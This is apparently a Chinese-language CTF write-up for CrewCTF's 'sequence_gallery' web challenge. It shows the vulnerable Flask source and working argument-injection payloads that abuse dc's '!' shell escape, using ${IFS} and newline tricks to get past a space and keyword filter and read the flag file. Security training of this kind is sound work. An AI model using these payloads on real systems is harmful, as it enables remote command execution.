# CrewCTF - sequence_gallery
## Background
[Command Injection](https://lab.feifei.tw/practice/ci/l1.php)
[dc command in Linux with examples](https://www.geeksforgeeks.org/dc-command-in-linux-with-examples/)
[Linux dc命令](https://deepinout.com/linux-cmd/linux-numerical-computation-cmd/linux-cmd-dc.html)
> dc -h
Usage: dc [OPTION] [file ...]
-e, --expression=EXPR evaluate expression
-f, --file=FILE evaluate contents of file
-h, --help display this help and exit
-V, --version output version information and exit
>
>Email bug reports to: bug-dc@gnu.org .
## Source Code
:::spoiler Source Code
```python!
import os
import sqlite3
import subprocess
from flask import Flask, request, render_template
app = Flask(__name__)
@app.get('/')
def index():
sequence = request.args.get('sequence', None)
if sequence is None:
return render_template('index.html')
script_file = os.path.basename(sequence + '.dc')
if ' ' in script_file or 'flag' in script_file:
return ':('
proc = subprocess.run(
['dc', script_file],
capture_output=True,
text=True,
timeout=1,
)
output = proc.stdout
return render_template('index.html', output=output)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
```
:::
## Recon
這一題看了一下source code,發現他只是用了sequence參數抓取`.dc`檔案,然後用subprocess另外執行,所以dc到底是一個甚麼樣的指令?看了其他網站[^dc_linux_command_eg][^linux_dc_command_zh],發現它就只是一個calculator,然後他支援自己寫的腳本,所以他就是抓sequence這個get參數,然後做簡單的輸入字串驗證(不能有`flag`和空格),所以可以想一下能不能用command injection的手法達到RCE,具體來說還是看了CTFTime上的WP[^CTFTime_WP]才知道可以用`!`接shell command,實際測試如下:
```bash!
$ dc -e \!ls
factorial.dc fibonacchi.dc flag.txt main.py power.dc templates
```
```python!
$ python
>>> import subprocess
>>> subprocess.run(['dc', "-e !ls Web/sequence_gallery/dist/src"])
factorial.dc fibonacchi.dc flag.txt main.py power.dc templates
CompletedProcess(args=['dc', '-e !ls Web/sequence_gallery/dist/src'], returncode=0)
```
兩者的區別是一般的shell需要特別用反斜線在驚嘆號前而在python的interactive mode不需要,所以我們就以python的環境來生成payload
:::warning
用一般的command injection做不出來,我試過`和$但都沒用,因為它是用subprocess去接所以格式不同,不然一般的shell是可以處理這些東西
:::
```python!
>>> subprocess.run(['dc', "`id`"])
dc: Could not open file `id`
CompletedProcess(args=['dc', '`id`'], returncode=0)
>>> subprocess.run(['dc', '"$(id)"'])
dc: Could not open file "$(id)"
CompletedProcess(args=['dc', '"$(id)"'], returncode=0)
```
## Exploit - Command Injection
1. 先測試一般的id能不能顯示
Payload: `-e !id` $\to$ Wrong(不能有空格)
Payloda: `-e%60!id` $\to$ Did not show(這邊試了很久,發現是我們的指令沒有一個換行)
Payload: `-e%60!id%0a` $\to$ Correct(所以其實中間的dummy string可以隨便設定以取代空格但一定要有換行)
2. 所以就可以用其他payload讀flag
```bash!
/?sequence=-e`!ls%0A
factorial.dc
fibonacchi.dc
flag.txt
main.py
power.dc
templates
'`' (0140) unimplemented
/?sequence=-e`!cat$IFS*.txt%0A
crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}
'`' (0140) unimplemented
```
:::info
最後一個payload必須要是使用$IFS搭配*.txt,不能$IFSf*.txt,這樣會失敗,我想可能是因為字串之間會有衝突吧
:::
Flag: `crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}`
3. Trick
用`dc` command執行`10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx`會顯示`DouULikeDC`的字樣,算是作者的小趣味
## Reference
[^CTFTime_WP]:[CTFTime WP](https://ctftime.org/writeup/37413)
[^dc_linux_command_eg]:[dc command in Linux with examples](https://www.geeksforgeeks.org/dc-command-in-linux-with-examples/)
[^linux_dc_command_zh]:[Linux dc命令](https://deepinout.com/linux-cmd/linux-numerical-computation-cmd/linux-cmd-dc.html)